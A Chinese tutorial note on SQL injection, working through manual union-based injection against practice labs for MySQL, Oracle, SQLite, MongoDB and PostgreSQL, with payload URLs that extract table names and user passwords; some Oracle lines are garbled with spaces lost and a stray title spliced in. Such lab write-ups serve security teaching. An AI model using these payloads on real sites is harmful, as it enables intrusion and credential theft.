当前位置: 首页 > news >正文

Web-SQL注入数据库类型用户权限架构分层符号干扰利用过程发现思路

知识点:

1、Web攻防-SQL注入-产生原理&应用因素

2、Web攻防-SQL注入-各类数据库类型利用

数据库知识:

1、数据库名,表名,列名,数据

2、自带数据库,数据库用户及权限

3、数据库敏感函数,默认端口及应用

4、数据库查询方法(增加删除修改更新)

mysql:root最高权限用户

数据库用户:管理数据库的用户 权限

结构:一个用户管理一个数据库,管理一个网站,权限细化,不会造成一个越权,就是你搞你的,我搞我的,互不干扰。

information_schema www.aaa.com = 数据库用户 fast

mysql www.bbb.com = 数据库用户 test

sys www.ccc.com = 数据库用户 sys

代码逻辑:

接受数据,对数据进行解密解码,带入到SQL执行中

攻击者必须把这个数据库按照他的加密或编码带进去

格式特征:

get提交

?id=1

?id=xiaodi

?id={name:'daliu',password:'123456'}

或者xml格式

数据库框架:

库名 --> 表名 --> 列名(字段) -->数据

SQL注入产生原理:

代码中执行的SQL语句存在可控变量导致

#影响SQL注入的主要因素:

1、数据库类型(权限操作)

2、数据操作方法(增删改查)

3、参数数据类型(符号干扰)

4、参数数据格式(加密编码等)

5、提交数据方式(数据包部分)

6、有无数据处理(无回显逻辑等)

#常见SQL注入的利用过程:

1、判断数据库类型

2、判断参数类型及格式

3、判断数据格式及提交

4、判断数据回显及防护

5、获取数据库名,表名,列名

5、获取对应数据及尝试其他利用

#黑盒/白盒如何发现SQL注入

1、盲对所有参数进行测试

2、整合功能点脑补进行测试

白盒参考后期代码审计课程

利用过程:

获取数据库名->表名->列名->数据(一般是关键数据,如管理员)

靶场:

Acunetix Web Vulnerability Scanner - Test websites

https://mozhe.cn/Special/SQL_Injection

Access:已经基本淘汰 意义不大

Mssql

http://vulnweb.com/

这里开一个靶场看一下什么情况,这里有个参数,尝试修改参数看看报错

随便输入,这里报错了

这里order by5报错,order by 4成功

这里让他报个错,输入?id=1 and 1=2 union select 1,2,3,4,判断回显点

然后这里查一下数据库名

这里判断是否有注入点

布尔判断
id=1 and 1=1 --+
看报错
id=1 and 1=2 --+
这里判断回显点
id=-1 union select 1,2,3,4 --+    

记录一下数据库名: mozhe_Discuz_StormGroup

 mozhe_Discuz_StormGroup  

表名:StormGroup_member,notice

这里是联合查询然后选择从 mozhe_Discuz_StormGroup数据库中的information_schema.tables表中,用group_concat函数选取table_name,也就是表名

union select 1,group_concat(table_name),3,4 from information_schema.tables where
table_schema='mozhe_Discuz_StormGroup'

是这样的一个逻辑

列名:id,name,password,status

这里更改只需要改我们要查询的列名,就是表相关参数都该成列的

union select 1,group_concat(column_name),3,4 from information_schema.columns where
table_name='StormGroup_member'

数据:

union select 1,name,password,4 from StormGroup_member

information_schema.tables 自带数据库记录mysql所有表名的表

information_schema.columns 自带数据库,记录mysql所有列名的表

Oracle

https://blog.csdn.net/A2893992091/article/details/141365829

and1=2unionselect(selectdistinct owner from all_tables where rownum=1),'2'from dual

and1=2unionselect(select table_name from user_tables where rownum=1),'2'from dual

and1=2unionselect(select table_name from user_tables whe06#墨者靶场-SQL手工注入漏洞测试(SQLite数据库)-CSDN博客

1=2unionselect(select column_name from all_tab_columns where rownum=1and table_name='sns_users'),'2'from dual

and1=2unionselect(select column_name from all_tab_columns where rownum=1and table_name='sns_users'and column_name notin('USER_NAME')),'2'from dual

and1=2unionselect USER_NAME,USER_PWD from"sns_users"

and1=2unionselect USER_NAME,USER_PWD from"sns_users"where user_name notin('hu')

SQLite

判断诸如点:

http://124.70.71.251:41903/new_list.php?id=1 and 1=1
http://124.70.71.251:41903/new_list.php?id=1 and 1=2

判断字段数

http://124.70.71.251:41903/new_list.php?id=1 order by N (N=1, 2, 3, 4, 5)

当 N = 5 时,页面显示错误,当前表的字段数为 4。

判断回显位

http://124.70.71.251:41903/new_list.php?id=1 and 1=2 union select 1,2,3,4

查版本

http://124.70.71.251:41903/new_list.php?id=1 and 1=2 union select 1,sqlite_version(),3,4

查表名和列名

http://124.70.71.251:41903/new_list.php?id=1 and 1=2 union select 1,group_concat(sql),3,4 from sqlite_master

查数据

http://124.70.71.251:41903/new_list.php?id=1 and 1=2 union select 1,group_concat(name),group_concat(password),4 from WSTMart_reg

依旧经典报错

爆列名:

union select 1,name,sql,4 from sqlite_master limit 0,1

字段

union select 1,name,password,4 from WSTMart_reg

Mongodb

构造回显:

'}); return ({title:1,content:'2

爆库:

'}); return ({title:tojson(db),content:'1

爆表:

1'}); return ({title:tojson(db.getCollectionNames()),content:'1

爆字段:

'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

PostgreSQL

and1=2unionselect'null',null,null,null

and1=2unionselectnull,'null',null,null

and1=2unionselectnull,null,string_agg(datname,','),nullfrom pg_database

and1=2unionselectnull,null,string_agg(tablename,','),nullfrom pg_tables where schemaname='public'

and1=2unionselectnull,null,string_agg(column_name,','),nullfrom information_schema.columnswhere table_name='reg_users'

and1=2unionselectnull,string_agg(name,','),string_agg(password,','),nullfrom reg_users

http://www.dtcms.com/a/288757.html

相关文章:

  • 【Python数据采集】Python爬取小红书搜索关键词下面的所有笔记的内容、点赞数量、评论数量等数据,绘制词云图、词频分析、数据分析
  • 基于Transformer的智能对话系统:FastAPI后端与Streamlit前端实现
  • 敏捷开发的历史演进:从先驱实践到全域敏捷(1950s-2025)
  • CSS 单位完全指南:掌握 em、rem、vh、vw 等响应式布局核心单位
  • SpringBoot热部署与配置技巧
  • 从修图到特效:Pillow库的Python图像处理高级实战指南
  • kafka--基础知识点--5.4--max.in.flight.requests.per.connection
  • 《计算机网络》实验报告五 DNS协议分析与测量
  • 网络(HTTP)
  • QT无边框窗口
  • 分享如何在Window系统的云服务器上部署网站及域名解析+SSL
  • kotlin 扩展函数 在链式调用的妙用
  • LINUX入门(二)QT的安装及运行环境搭建
  • jmeter如何做自动化接口测试?
  • 元宇宙经济的四个特征
  • Spring Boot中REST与gRPC并存架构设计与性能优化实践指南
  • Dify 1.6 安装与踩坑记录(Docker 方式)
  • LeetCode 198 打家劫舍 LeetCode 213.打家劫舍II
  • 华为开源自研AI框架昇思MindSpore应用案例:基于ERNIE模型实现对话情绪识别
  • [Python] -项目实战4- 利用Python进行Excel批量处理
  • 基于pyside6的通用机器人遥控控制界面
  • client-go: k8s选主
  • JAVA面试宝典 -《容灾设计:异地多活架构实践》
  • go-redis Pipeline 与事务
  • 民法学学习笔记(个人向) Part.1
  • 如何应对“躺平”文化对项目的冲击
  • 生物化学笔记:安全防护 射频和微波辐射防护 电磁辐射与防护 生物电磁学
  • 《镜语者》
  • 技术演进中的开发沉思-40 MFC系列:多线程协作
  • AI-Compass 前沿速览:ChatGPT Agent、Kimi2、Mistral 语音模型、Grok AI 情感陪伴、百度 Tizzy、有言数字人